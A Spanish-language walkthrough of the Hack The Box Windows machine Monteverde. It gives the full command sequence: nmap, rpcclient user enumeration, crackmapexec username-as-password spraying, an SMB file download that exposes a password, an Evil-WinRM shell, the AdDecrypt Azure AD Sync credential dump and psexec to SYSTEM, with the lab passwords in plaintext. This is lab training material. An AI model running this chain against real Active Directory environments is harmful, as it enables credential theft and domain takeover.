Saltar al contenido

HackTheBox – Monteverde – Writeup – (OSCP Friendly)

En este post voy a vulnerar la máquina Monteverde de Hack The Box. Es una máquina Windows de nivel medio basada en Azure y Directorio Activo bastante sencilla de resolver.

Enumeración

Comienzo escaneado los 65535 puertos del protocolo TCP, estableciendo un envío mínimo de 5000 paquetes por segundo; esto es muy ruidoso pero al ser un entorno controlado no me preocupa el ruido.

nmap -p- -n --open --min-rate 5000 10.10.10.172 -Pn

En la máquina hay dieciocho puertos abiertos. Escaneo los trece primeros puertos que he encontrado, ya que los cinco restantes son puertos dinámicos del sistema, para ver la versión de los servicios que están corriendo en ellos y ejecuto una serie de scripts de enumeración básicos.

nmap -sCV -p53,88,135,139,389,445,464,593,636,3268,3269,5985,9389 10.10.10.172 -Pn
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2022-02-11 18:55 CET
Nmap scan report for 10.10.10.172
Host is up (0.12s latency).

PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open  mc-nmf        .NET Message Framing
Service Info: Host: MONTEVERDE; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 15m28s
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2022-02-11T18:11:42
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 57.80 seconds

Como veo que la máquina tiene servicios como Kerberos, smb, ldap o WinRM pero no he conseguido obtener el dominio con nmap, realizo una sentencia básica de crackmapexec y descubro que el dominio es MEGABANK.LOCAL. También averiguo que se trata de un sistema Windows 10 de 64 bits.

crackmapexec smb 10.10.10.172

RPC

Accedo al RCP, utilizando rpcclient como usuario NULL y listo los usuarios del dominio.

rpcclient -U "" 10.10.10.172 -N
rpcclient $> enumdomusers

Continuo enumerando los grupos existentes y obtengo una información mas detallada de los usuarios.

rpcclient $> enumdomgroups
rpcclient $> querydispinfo

Guardo los nombre de los usuarios en un diccionario.

Explotación

Compruebo con crackmapexec si existen en el dominio los usuarios que he encontrado.

Necesito una contraseña, que de momento no he encontrado obtenido, para cada usuario. Una práctica, tan habitual como mala, es utilizar el nombre de usuario como contraseña. En un entorno real solo probaría cada nombre de usuario como contraseña pero, al estar en HTB, voy a probar todos los usuarios con todas las contraseñas hasta obtener un positivo.

crackmapexec smb 10.10.10.172 -u users -p users

Como se ve en la imagen anterior, he obtenido las credenciales SABatchJobs:SABatchJobs para smb.

con smbmap listo los directorios a los que tengo acceso.

smbmap -H 10.10.10.172 -u SABatchJobs -p SABatchJobs

De todos los directorios a los que puedo acceder, solo encuentro algo interesante en la ruta users$/mhope, donde encuentro un fichero llamado azure.xml.

smbmap -H 10.10.10.172 -u SABatchJobs -p SABatchJobs -r 'users$/mhope'

Me descargo el fichero azure.xml.

smbmap -H 10.10.10.172 -u SABatchJobs -p SABatchJobs --download 'users$/mhope/azure.xml'

Leo el fichero y encuentro la contraseña 4n0therD4y@n0th3r$.

Tengo una contraseña pero no un nombre de usuario. Como el fichero se encontraba dentro del directorio home de mhope, puedo suponer que la contraseña es para ese usuario. En caso contrario probaría la contraseña con todos los usuarios.

Con crackmapexec pruebo las credenciales mhope:4n0therD4y@n0th3r$ en smb, ldap y winrm y obtengo que puedo autenticarme con ellas en este último servicio.

crackmapexec winrm 10.10.10.172 -u 'mhope' -p '4n0therD4y@n0th3r$'

Como las credenciales son válidas, las utilizo para obtener una shell de WinRM por medio de la herramienta Evil-WinRM.

evil-winrm -i 10.10.10.172 -u 'mhope' -p '4n0therD4y@n0th3r$'

Escalada de Privilegios

Al buscar información del usuario con el que he conseguido la shell, veo que se encuentra dentro del grupo de administradores de Azure (Azure Admins).

net user mhope

Busco información sobre como este grupo, encuentro como utilizar la base de datos de Azure para escalar privilegios (mas información aquí).

Una cosa importante sobre este método es que exista el directorio Microsoft Azure AD Sync así que me dirijo a la ruta C:\Program Files y compruebo que existe el directorio.

Como existe el directorio, puedo utilizar este método para escalar privilegios. Me descargo este exploit (el .zip), lo descomprimo y obtengo los binarios AdDecrypt.exe y mcrypt.dll.

unzip AdDecrypt.zip
ll

Subo estos dos ficheros a la máquina víctima, en una ruta donde tenga permisos de ejecución. En mi caso he elegido C:\Users\mhope\Documents.

upload AdDecrypt.exe
upload mcrypt.dll

La única pega de este exploit, es que tengo que encontrarme en el directorio C:\Program Files\Microsoft Azure AD Sync\Bin y ejecutar desde ahí el exploit, que se encuentra en C:\Users\mhope\Documents.

cd 'C:\Program Files\Microsoft Azure AD Sync\Bin'
C:\Users\mhope\Documents\AdDecrypt.exe

Como se ve en la imagen anterior, encuentro las credenciales administrator:d0m@in4dminyeah!.

Con crackmapexec ompruebo si estas credenciales me sirven para autenticarme.

crackmapexec smb 10.10.10.172 -u 'administrator' -p 'd0m@in4dminyeah!'

Como las credenciales son válidas para autenticarme (Pwn3d!) Utilizo psexec.py de impacket y consigo acceder al sistema como nt authority\system.

psexec.py administrator:'d0m@in4dminyeah!'@10.10.10.172

Flags

User.txt

La flag de usuario la encuentro en la ruta C:\Users\mhope\Desktop\user.txt.

Root.txt

La flag de administrador la encuentro en la ruta C:\Users\Administrator\Desktop\root.txt.

Publicado enActive DirectoryCTFHTBOSCPwindows